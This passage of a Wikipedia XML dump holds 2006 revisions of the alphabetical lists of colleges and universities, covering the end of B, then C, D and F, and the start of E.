#[[Bradley University]]
#[[Brandeis University]]
#[[Brandenburg Technical University of Cottbus]]
#[[Brandon University]]
#[[Brenau University]]
#[[Brevard Community College]]
#[[Briar Cliff College]]
#[[Briarcliffe College]]
#[[Bridgewater College]]
#[[Bridgewater State College]]
#[[Brigham Young University]]
#[[Brigham Young University of Hawaii|Brigham Young University of Hawai'i]]
#[[Brigham Young University-Idaho]]
#[[Bristol Community College]]
#[[Bristol Old Vic Theatre School]]
#[[Bristol University]]
#[[British Columbia Institute of Technology]]
#[[Briercrest Bible College]] (BBC, largest bible college in Canada located in Caronport, SK)
===Bro-Bry===
#[[Brock University]]
#[[Bromley College, Bromley]]
#[[Brookdale Community College]]
#[[Brookhaven College]] (part of the [[DCCCD]])
#[[Brooklands College]]
#[[Brooklyn College]]
#[[Brooks Institute of Photography]]
#[[Broome Community College]]
#[[Broward Community College]]
#[[Brown University]]
#[[Brunel University]]
#[[Bryant College]]
#[[Bryn Mawr College]]
==Bu-By==
#[[Bucheon College]] -- [[Gyeonggi]], [[South Chungcheong]]
#[[Buckinghamshire Chilterns University College]]
#[[Bucknell University]]
#[[Budapest University of Economic Sciences]]
#[[Budapest University of Technology and Economics]]
#[[Buena Vista University]]
#[[Busan Arts College]] -- [[Busan]], [[South Korea]]
#[[Busan Kyungsang College]] -- Busan, South Korea
#[[Busan National University of Education]] -- Busan, South Korea
#[[Busan Polytechnic College]] -- Busan, South Korea
#[[Busan Presbyterian University]] -- [[South Gyeongsang]], South Korea
#[[Business Management Training College of Southern Africa]]
#[[Butler University]]
#[[Butte Community College]]
#[[Byuksung College]] -- [[North Jeolla]], [[South Korea]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|B]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with C</title>
    <id>6476</id>
    <revision>
      <id>35576792</id>
      <timestamp>2006-01-17T19:47:47Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- '''C''' -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
==Ca==
===Cab-Cai===
#[[Cabot College of Applied Arts, Technology and Continuing Education]]
#[[Cairo American College]]
===Cal===
====Cali====
=====Calif=====
======Califo======
'''California C-California P'''
#[[California Coast University]]
#[[California College for Health Sciences]]
#[[California Institute of Technology]]
#[[California Institute of the Arts]]
#[[California Lutheran University]]
#[[California Maritime Academy]]
#[[California National University for Advanced Studies]]
#[[California Pacific University]]
#[[California Polytechnic State University, San Luis Obispo]]
'''California S-California U'''
#[[California School of Professional Psychology]]
#[[California State Polytechnic University, Pomona]]
#[[California State University, Bakersfield]]
#[[California State University, Chico]]
#[[California State University, Dominguez Hills]]
#[[California State University, Fresno]]
#[[California State University, Fullerton]]
#[[California State University, Hayward]]
#[[California State University, Long Beach]]
#[[California State University, Los Angeles]]
#[[California State University, Northridge]]
#[[California State University, Sacramento]]
#[[California State University, San Bernardino]]
#[[California State University, San Marcos]]
#[[California State University, Stanislaus]]
#[[California University of Pennsylvania]]
====Calv====
#[[Calvin College]]
#[[Calvin University]] -- [[Gyeonggi]], [[South Korea]]
===Cam-Car===
#[[University of Cambridge]]
#[[Cameron University]]
#[[Camosun College]]
#[[Campbell University]]
#[[Canadian Baptist Seminary]]
#[[Canadian Coast Guard College]]
#[[Canadore College]]
#[[Canberra College of Theology]]
#[[Canisius College]]
#[[Canterbury Christ Church University]]
#[[Canterbury University]]
#[[Capital Baptist Theological University]] -- [[Gyeonggi]], [[South Korea]]
#[[Capital Community-Technical College]]
#[[Capital University]]
#[[Capitol College]]
#[[Cardinal Stritch University]]
#[[Carleton College]]
#[[Carleton University]]
#[[Carlow University]]
#[[Carnegie Mellon University]] ([[Pittsburgh]], [[Pennsylvania]])
#[[Carroll College]]
#[[Carroll College (Montana)]]
#[[Carson-Newman College]]
#[[Carthage College]]

===Cas-Cat===
#[[Cascadia Community College]]
#[[Case Western Reserve University]]
#[[Castleton State College]]
#[[Catholic Sangji College]] -- [[North Gyeongsang]], [[South Korea]]
#[[Catholic University of America]]
#[[Catholic University of Daegu]] -- [[North Gyeongsang]], [[South Korea]]
#[[Catholic University of Korea]] -- [[Seoul]], [[South Korea]]
#[[Catholic University of Louvain]]
#[[Catholic University of Pusan]] -- [[Busan]], [[South Korea]]
#[[Catonsville Community College]]
==Cd==
#[[CDI-StW Management Institute]]
==Ce==
===Cec-Ced===
#[[Cecil Community College]]
#[[Cedar Valley College]] (part of the [[DCCCD]])
#[[Cedarville University]]

===Ceg===
====Cege====
=====Cegep=====
======Cegep A-Cegep B======
#[[Cegep Andre-Laurendeau]]
#[[Cegep Beauce-Appalaches]]
======Cegep d======
#[[Cegep d'Ahuntsic]]
#[[Cegep d'Alma]]
#[[Cegep de Baie-Comeau]]
#[[Cegep de Bois-de-Boulogne]]
#[[Cegep de Chicoutimi]]
#[[Cegep de Drummondville]]
#[[Cegep de Granby-Haute-Yamaska]]
#[[Cegep de Jonquiere]]
#[[Cegep de l'Abitibi-Temiscamingue]]
#[[Cegep de la Gaspesie et des Iles]]
#[[Cegep de la Pocatière]]
#[[Cegep de la region de l'Amiante]]
#[[Cegep de Levis-Lauzon]]
#[[Cegep de Limoilou]]
#[[Cegep de l'Outaouais]]
#[[Cegep de Matane]]
#[[Cegep de Maisonneuve]]
#[[Cegep de Rimouski]]
#[[Cegep de Riviere-du-Loup]]
#[[Cegep de Rosemont]]
#[[Cegep de Saint-Felicien]]
#[[Cegep de Saint-Hyacinthe]]
#[[Cegep de Saint-Jean-sur-Richelieu]]
#[[Cegep de Saint-Jerome]]
#[[Cegep de Saint-Laurent]]
#[[Cegep de Sainte-Foy]]
#[[Cegep de Sept-Iles]]
#[[Cegep de Sherbrooke]]
#[[Cegep de Sorel-Tracy]]
#[[Cegep de Trois-Rivières]]
#[[Cegep de Valleyfield]]
#[[Cegep de Victoriaville]]
#[[Cegep du Vieux-Montreal]]
======Cegep G-Cegep R======
#[[Cegep Gerald-Godin]]
#[[Cegep Edouard-Montpetit]]
#[[Cegep Francois-Xavier-Garneau]]
#[[Cegep Lionel-Groulx]]
#[[Cegep Marie-Victorin]]
#[[Cegep Montmorency]]
#[[Cegep regional de Lanaudiere]]
===Cem===
#[[CEMA Instituto Universitario]]
===Cen===
====Cent====
=====Cente=====
#[[Centenary College]]
#[[Centenary College of Louisiana]]
=====Centr=====
======Centra-Centre======
#[[Central Alabama Community College]]
#[[Central Arizona College]]
#[[Central Christian College of the Bible]]
#[[Central College]]
#[[Central Connecticut State University]]
#[[Central Electrochemical Research Institue]]
#[[Central Electrochemical Research Institute, Karaikudi]]
#[[Central European University]]
#[[Central Florida Community College]]
#[[Central Institute of Technology]]
#[[Central Methodist College]]
#[[Central Michigan University]]
#[[Central Missouri State University]]
#[[Central Oregon Community College]]
#[[Central Piedmont Community College]]
#[[Central Queensland University]]
#[[Central University for Nationalities]]
#[[Central University of Hyderabad]]
#[[Central University of Venezuela]]
#[[Central Washington University]]
#[[Centre College]]
#[[Centre Universitaire de Luxembourg]]
#[[Centre universitaire Saint-Louis-Maillet]]

======Centro======
#[[Centro de Ensenanza Te y Superior Universidad, Unidad Ensenada]]
#[[Centro de Ensenanza Te y Superior Universidad, Unidad Mexicali]]
#[[Centro de Ensenanza Te y Superior Universidad, Unidad Tijuana]]
#[[Centro de Investigacion Cientifica y de Educacion Superior de Ensenada]]
===Cer===
#[[Cerritos College]]
==Ch==
===Cha===
#[[Chaitanya Bharathi Institute of Technology, Hyderabad]]
#[[Chalmers Lindholmen University College]]
#[[Chalmers University of Technology]]
#[[Champlain College]]
#[[Chandler-Gilbert Community College]]
#[[Chang'an University]]
#[[Chang Shin College]] -- [[South Gyeongsang]], [[South Korea]]
#[[Changwon Polytechnic College]] -- South Gyeongsang, South Korea
#[[Changwon National University]] -- South Gyeongsang, South Korea
#[[Chapman University]]
#[[Charing Cross and Westminster Medical School]]
#[[Charles R. Drew University of Medicine and Science]]
#[[Charles Sturt University]]
#[[Charles University|Charles University, Prague]]
#[[Charleston Southern University]]
#[[Chase College of Law]]
#[[Chatham College]]
#[[Chattanooga State Technical Community College]]

===Che===
#[[Cheju Halla College]] -- [[Jeju]], [[South Korea]]
#[[Cheju National University]] -- Jeju, South Korea
#[[Cheju Tourism College]] -- Jeju, South Korea
#[[Chemeketa Community College]]
#[[Cheonan National Technical College]] -- [[South Chungcheong]], South Korea
#[[Cheonan University]] -- South Chungcheong, South Korea
#[[Cheonan Yonam College]] -- South Chungcheong, South Korea
#[[Cheongju National University of Education]] -- [[North Chungcheong]], South Korea
#[[Cheongju Polytechnic College]] -- North Chungcheong, South Korea
#[[Cheongju University]] -- North Chungcheong, South Korea
#[[Cheongyang Provincial College]] -- South Chungcheong, South Korea
#[[Chesapeake College]]
===Chi-Chr===
#[[Chiang Mai University]]
#[[Chiba University]]
#[[Chicago School of Professional Psychology]]
#[[Chicago-Kent College of law]]
#[[China Academy of Railway Sciences]]
#[[China Junior College of Industrial and Commercial Management]]
#[[China Medical College]]
#[[Chinese University of Hong Kong]]
#[[Chinju National University of Education]] -- [[South Gyeongsang]], [[South Korea]]
#[[Chodang University]] -- [[South Jeolla]], South Korea
#[[Chongju National College of Science and Technology]] -- [[North Chungcheong]], South Korea
#[[Chongshin University]] -- [[Seoul]], South Korea
#[[Chonnam National University]] -- [[Gwangju]], South Korea
#[[Choonhae College]] -- [[Ulsan]], South Korea
#[[Chosun University]] -- Gwangju, South Korea
#[[Christchurch Polytechnic]]
#[[Christendom College]]
#[[Christian Brothers University]]
#[[Christian-Albrechts-Universitat zu Kiel]]
#[[Christian College of Nursing]] -- [[Gwangju]], [[South Korea]]
#[[Christopher Newport University]]
===Chu===
#[[Chubu University]]
#[[Chugye University for the Arts]] -- [[Seoul]], [[South Korea]]
#[[Chukyo University]]
#[[Chulalongkorn University]]
#[[Chuncheon National University of Education]] -- [[Gangwon]], [[South Korea]]
#[[Chuncheon Polytechnic College]] -- Gangwon, South Korea
#[[Chung-Ang University]] -- [[Seoul]] and [[Gyeonggi]], South Korea
#[[Chungbuk National University]] -- [[North Chungcheong]], South Korea
#[[Chungbuk Provincial University of Science and Technology]] -- North Chungcheong, South Korea
#[[Chung Cheong College]] -- North Chungcheong, South Korea
#[[Chung Hua Polytechnic Institute]]
#[[Chungju National University]] -- North Chungcheong, South Korea
#[[Chungkang College of Cultural Industries]] -- [[Gyeonggi]], South Korea
#[[Chungnam National University]] -- [[Daejeon]], South Korea
#[[Chung Shan Medical and Dental College]]
#[[Chungwoon University]] -- [[South Chungcheong]], South Korea
#[[Chung Yuan Christian University]]
#[[Chunnam Techno College]] -- [[South Jeolla]], South Korea
#[[Churchill College, Cambridge]]
==Ci-Cl==
#[[The Citadel (Military College)|The Citadel]]
#[[La Cité collégiale|(La) Cité collégiale]]
#[[City College of New York]]
#[[City College of San Francisco]]
#[[City University, London]]
#[[City University of Hong Kong]]
#[[City University of New York]]
#[[City University, Seattle WA]]
#[[Clackamas Community College]]
#[[Claflin College]]
#[[Claremont College ]]
#[[Claremont McKenna College]]
#[[Clarion University of Pennsylvania]]
#[[Clark Atlanta University]]
#[[Clark College]]
#[[Clark University]]
#[[Clarke College]]
#[[Clarkson University]]
#[[Clemson University]]
#[[Cleveland State University]]
#[[Clinch Valley College]]

==Co==
===Coa-Cok===
#[[Coast Community College District]]
#[[Cochin University of Science and Technology]]
#[[Cochise Community College]]
#[[Coe College]]
#[[Cogswell Polytechnical College]]
#[[Coimbatore Institute of Technology]] (CIT)
#[[Coker College]]
===Col===
====Colb-Colg====
#[[Colby College]]
#[[Colby-Sawyer College]]
#[[Colegio America]]
#[[Colegio Mayor de Nuestra Senora del Rosario]]
#[[Colegio Universitario Andino]]
#[[Colgate University]]
====Coll====
=====Colla=====
#[[Collaborative Information Technology Research Institute]]
=====Colle=====
======Colleg======
'''College d-College N'''
#[[Collège de France]]
#[[Collège de Lévis]]
#[[Collège des Ingenieurs]]
#[[Collège Boréal]]
#[[College International de Cannes]]
#[[College Jean-de-Brebeuf]]
#[[College Jean-Guy Leboeuf]]
#[[College Militaire Royale]]
#[[College Notre-Dame]]
'''College o-College S'''
#[[College of Aeronautics]]
#[[College of Charleston]]
#[[College of DuPage]]
#[[College of Eastern Utah]]
#[[College of Lake County]]
#[[College of Marin]]
#[[College of Saint Benedict / Saint John's University | College of Saint Benedict | Saint John's University]]
#[[College of Science, Warsaw]]
#[[College of Security Technology and Management]]
#[[College of St. Catherine]]
#[[College of St Hild and St Bede]], [[University of Durham]]
#[[College of Staten Island]]
#[[College of the Atlantic]]
#[[College of the Canyons]]
#[[College of the Holy Cross]]
#[[College of the Redwoods]]
#[[College of the Siskiyous]]
#[[College of William and Mary]]
#[[The College of Wooster|College of Wooster]]
#[[College Shawinigan]]

=====Colli=====
#[[Collin County Community College District]]
#[[Collingwood College]], [[University of Durham]]
====Colo-Colu====
#[[Colorado Christian University]]
#[[Colorado College]]
#[[Colorado Mountain College]]
#[[Colorado Northwestern Community College]]
#[[Colorado School of Mines]]
#[[Colorado State University]]
#[[Colorado State University - Pueblo]]
#[[Columbia College Chicago]]
#[[Columbia College (Columbia, South Carolina)|Columbia College]] in Columbia, SC
#[[Columbia Union College ]]
#[[Columbia University]]
#[[Columbus State Community College]]

===Com-Coq===
#[[Comenius University in Bratislava]]
#[[Community College of Beaver County]]
#[[Community College of Southern Nevada]]
#[[Concord College]]
#[[Concordia College]]
#[[Concordia International University Estonia]]
#[[Concordia University]]
#[[Concordia University College of Alberta]]
#[[Concordia University Wisconsin]]
#[[Concordia University, River Forest]]
#[[Conestoga College]]
#[[Confederation College]]
#[[Connecticut College]]
#[[Connecticut Community-Technical College]]
#[[Converse College]]
#[[Coolmine Community School]]
#[[Cooper Union]]
#[[Copenhagen Business School]]
#[[Coppin State University]]
#[[Coquitlam College]]

===Cor-Cov===
#[[Cornell College]]
#[[Cornell University]]
#[[Cornerstone College]]
#[[Corning Community College]]
#[[Cosumnes River College]]
#[[Covenant College]]
#[[Covenant Theological Seminary]]
==Cr-Cz==
#[[Cracow University of Technology]]
#[[Cranbrook Academy of Art]]
#[[Cranfield University]]
#[[Creighton University]]
#[[Crescent Engineering College]]
#[[Cricklade College]]
#[[Criswell College]]
#[[Culdee College]]
#[[Culinary Institute of America]]
#[[Culinary Institute of America at Greystone]]
#[[Cumbria Institute of the Arts]]
#[[Curry College]]
#[[Curtin University, Western Australia]]
#[[Cuyahoga Community College]]
#[[Cuyamaca Community College District]]
#[[Cypress College]]
#[[Cyprus College]]
#[[Czech Technical University in Prague]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|C]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with D</title>
    <id>6477</id>
    <revision>
      <id>41648545</id>
      <timestamp>2006-02-28T20:01:17Z</timestamp>
      <contributor>
        <username>Jibbajabba</username>
        <id>533133</id>
      </contributor>
      <comment>/* Dea-Deu */ disambig [[Delta College]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- '''D''' -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
==Da==
#[[Da-Yeh Institute of Technology]]
#[[Daemen College]]
#[[Daito Bunka University]]
#[[Dakota State University]] ([[Madison, South Dakota]])
#[[Dalhousie University]] ([[Halifax, Nova Scotia]])
#[[Dalian University of Technology]]
#[[Dallas Baptist University]]
#[[Dallas County Community College District]]
#[[Dana College]]
#[[Daniel Webster College]]
#[[Danville Area Community College]]
#[[Dartington College of Arts]] ([[Totnes]], [[Devon]])
#[[Dartmouth College]] ([[Hanover, New Hampshire]])
#[[Daugavpils Pedagogical University]]
#[[David Lipscomb University]]
#[[Davidson College]]
#[[Davies Laing &amp; Dick]]
#[[Davis and Elkins College]]
#[[Dawson College]]
==De==
#[[De Anza College]]
#[[De La Salle University]]
#[[De Montfort University]]
===DeK-DeV===
#[[DeKalb College]]
#[[DeKalb Technical Institute]]
#[[DePaul University]]
#[[DePauw University]]
#[[DeVry University System]]
##[[DeVry University, Atlanta]]
##[[DeVry University, Calgary]]
##[[DeVry University, Chicago]]
##[[DeVry University, Columbus]]
##[[DeVry University, Dallas]]
##[[DeVry University, DuPage]]
##[[DeVry University, Fremont]]
##[[DeVry University, Kansas City]]
##[[DeVry University, Long Beach]]
##[[DeVry University, New Jersey]]
##[[DeVry University, Ontario]] in [[Toronto, Ontario|Toronto]]
##[[DeVry University, Orlando]]
##[[DeVry University, Phoenix]]
##[[DeVry University, Pomona, CA]]
##[[DeVry University, Tinley Park]]
##[[DeVry University, West Hills]]
##[[DeVry University, Westminster]]
===Dea-Deu===
#[[Deakin University]]
#[[Deep Springs College]]
#[[Delaware Technical and Community College]]
#[[Delft University of Technology]] ([[Delft]], [[The Netherlands]])
#[[Delgado Community College]]
#[[Delhi College of Engineering]]
#[[Delhi Institute of Technology]]
#[[Delhi University]]
#[[Delta College (Michigan)|Delta College]]
#[[Delta State University]]
#[[Delta University]]
#[[Democritus University]]
#[[Denison University]]
#[[Des Moines Area Community College]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]])
#[[Des Moines University and College of Osteopathic Medicine]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]])
#[[Det Noedvendige Seminarium]]
#[[Deutsche Sporthochschule Koln]]

==Di-Dr==
#[[Diablo Valley College]]
#[[Dickinson College]]
#[[Diné College]]
#[[Dixie College]]
#[[Dnyaneshwar Vidyapeeth]]
#[[Dokkyo University School of Medicine]]
#[[Don Bosco Institute of Technology, Banglore]]
#[[Don Bosco Institute of Technology, Mumbai]]
#[[DongSeo University]]
#[[Dongguk University]]
#[[Dortmund University]]
#[[Doshisha University]]
#[[Douglas College]]
#[[Dowling College]]
#[[Downing College]]
#[[Dr.Ambedkar Institute of Technology]]
#[[Drake University]] ([[Des Moines, Iowa|Des Moines]], [[Iowa]], [[United States|USA]])
#[[Dream Harvest College]], [[Stratford, London|London]], [[East London]] 
#[[Drew University]] 
#[[Dresden University of Technology]] 
#[[Drexel University]] ([[Philadelphia, Pennsylvania]], [[United States|USA]])
#[[Drury College]]

==Du-Dy==
#[[Dublin City University]]
#[[Dublin Institute of Technology]]
#[[Duisburg Technical University]]
#[[Duke University]]
#[[Dundee University]]
#[[Dunwoody College of Technology]]
#[[Duquesne University]]
#[[Durham College]]
#[[University of Durham|Durham University]]
#[[Dutchess Community College]]
#[[Dr D.Y. Patil College of Engineering, Pune]]

See also:
* [[List of colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|D]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with F</title>
    <id>6478</id>
    <revision>
      <id>36683409</id>
      <timestamp>2006-01-25T20:05:59Z</timestamp>
      <contributor>
        <username>Youngamerican</username>
        <id>191420</id>
      </contributor>
      <minor />
      <comment>bypass redirect</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- '''F''' -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Fachhochschule Fulda]]
#[[Fachhochschule Furtwangen]]
#[[Fachhochschule Gießen-Friedberg]]
#[[Fachhochschule Harz]]
#[[Fachhochschule Köln]]
#[[Fachhochschule Karlsruhe]]
#[[Fachhochschule Konstanz]]
#[[Fachhochschule München]]
#[[Fachhochschule Offenburg]]
#[[Fachhochschule Osnabrück]]
#[[Reutlingen University|Fachhochschule Reutlingen, Hochschule fur Technik und Wirtschaft]]
#[[Faculte Polytechnique de Mons]]
#[[Fairhaven College]]
#[[Fairleigh Dickinson University]]
#[[Fairmont State University]]
#[[Fanshawe College of Applied Arts and Technology]]
#[[Far Eastern University]]
#[[Fayetteville State University]]
#[[Federal University of Paraíba]]
#[[Felician College]]
#[[Feng Chia University]]
#[[Ferris State University]]
#[[Fielding Institute]]
#[[Fife College of Further and Higher Education]]
#[[Findhorn College]]
#[[Fisk University]]
#[[Fitchburg State College]]
#[[Flinders University]]
#[[Florida A&amp;M University]]
#[[Florida Atlantic University]]
#[[Florida College]]
#[[Florida Community College at Jacksonville]]
#[[Florida Gulf Coast University]]
#[[Florida Institute of Technology]]
#[[Florida International University]]
#[[Florida State University]]
#[[Folsom Lake College]]
#[[Fond du Lac Tribal and Community College]]
#[[Fontbonne College]]
#[[Foothill College]]
#[[Fordham University]]
#[[Fort Belknap College]]
#[[Fort Berthold Community College]]
#[[Fort Hays State University]]
#[[Fort Lewis College]]
#[[Fort Peck Community College]]
#[[Fort Valley State University]]
#[[Foshan University]]
#[[Fox Valley Technical College]]
#[[Francis Marion University]]
#[[Franciscan University of Steubenville]]
#[[Franco-Polish School of New Information and Communication Technologies]]
#[[Frankfurt University]]
#[[Franklin and Marshall College]]
#[[Franklin College Switzerland]]
#[[Franklin College]], Indiana
#[[Franklin Pierce College]]
#[[Franklin Pierce Law Center]]
#[[Franklin W. Olin College of Engineering]]
#[[Fredonia State University]]
#[[Freed-Hardeman University]]
#[[Free University of Berlin|Freie Universität Berlin]]
#[[French Naval Academy]]
#[[Fresno Pacific College]]
#[[University of Karlsruhe|Fridericiana]]
#[[Friedrich Schiller Universität, Jena ]]
#[[Friends International Christian University]]
#[[Friends University]]
#[[Front Range Community College]]
#[[Frostburg State University]]
#[[Fu Jen Catholic University]]
#[[Fudan University]]
#[[Fujita Health University]]
#[[Fukui University]]
#[[Fukuoka University]]
#[[Fukuoka Institute of Technology]]
#[[Fukuoka Junior College of Technology]]
#[[Fukushima Medical College]]
#[[Fukushima University]]
#[[Fullerton College]]
#[[Furman University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|F]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with E</title>
    <id>6479</id>
    <revision>
      <id>42152984</id>
      <timestamp>2006-03-04T04:12:04Z</timestamp>
      <contributor>
        <username>Loukinho</username>
        <id>461336</id>
      </contributor>
      <comment>/* Eo-Et */</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- '''E''' -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
*[[ENPC Graduate School of International Business]]
==Ea-Eb==
*[[Earlham College]]
*[[East Carolina University]]
*[[East Central University, Ada OK]]
*[[East China Jiaotong University]]
*[[East China Normal University]]
*[[East China University of Politics and Law]]
*[[East China University of Science and Technology]]
*[[East Stroudsburg State University]]
*[[East Tennessee State University]]
*[[East Texas State University]]
*[[Eastern Arizona College]]
*[[Eastern College of Applied Arts, Technology and Continuing Education]]
*[[Eastern Illinois University]]
*[[Eastern Iowa Community College District]]
*[[Eastern Kentucky University]]
*[[Eastern Mediterranean University]]
*[[Eastern Mennonite University]]
*[[Eastern Michigan University]]
*[[Eastern Nazarene College]]
*[[Eastern New Mexico University]]
*[[Eastern Pentecostal Bible College]]
*[[Eastern Virginia Medical School]]
*[[Eastern Washington University]]
*[[Eastfield College]] (part of the [[DCCCD]])
*[[Eberhard Karls University of Tübingen]] ([[Tübingen]], [[Baden-Württemberg]], [[Germany]])

==Ec==
===Eck===
*[[Eckerd College]]
*[[Eckerd.College]]
===Eco===
====Ecol====
=====Ecole=====
======Ecole C-Ecole I======
*[[École Centrale de Lille]]
*[[École Centrale de Lyon]]
*[[École Centrale de Nantes]]
*[[École Centrale Paris]] (ECP)
*[[École d'Ingénieurs de l'État de Vaud]]
*[[École de Technologie Supérieure]]
*[[École des Hautes Études Commerciales]]
*[[École Internationale des Sciences du Traitement de l'Information]]
======Ecole N======
*[[École nationale d'admistration]]
*[[École Nationale d'Administration Publique]]
*[[École Nationale de l'Aviation Civile]] (ENAC)
*[[École Nationale de la Statistique et de l'Administration Économique]]
*[[École Nationale des Ponts et Chaussées]]
*[[École Nationale Supérieure d'Arts et Métiers]]
*[[École Nationale Supérieure d'Électronique et de Radioélectricité de Bordeaux]]
*[[École Nationale Supérieure d'Électronique et de Radioélectricité de Grenoble]]
*[[École Nationale Supérieure d'Électronique, d'Électrotechnique, d'Informatique et d'Hydraulique de Toulouse]] (ENSEEIHT)
*[[École Nationale Supérieure d'Ingénieurs en Construction Aéronautique]] (ENSICA)
*[[École Nationale Supérieure d'Informatique et de Mathématiques Appliquées de Grenoble]] (ENSIMAG)
*[[École Nationale Supérieure de Physique de Strasbourg]]
*[[École Nationale Supérieure de Techniques Avancées]]
*[[École Nationale Supérieure des Mines de Nancy]]
*[[École Nationale Supérieure des Mines de Paris]]
*[[École Nationale Supérieure des Mines de St-Étienne]]
*[[École Nationale Supérieure des Télécommunications de Bretagne]]
*[[École Nationale Supérieure des Télécommunications de Paris]] (ENST)
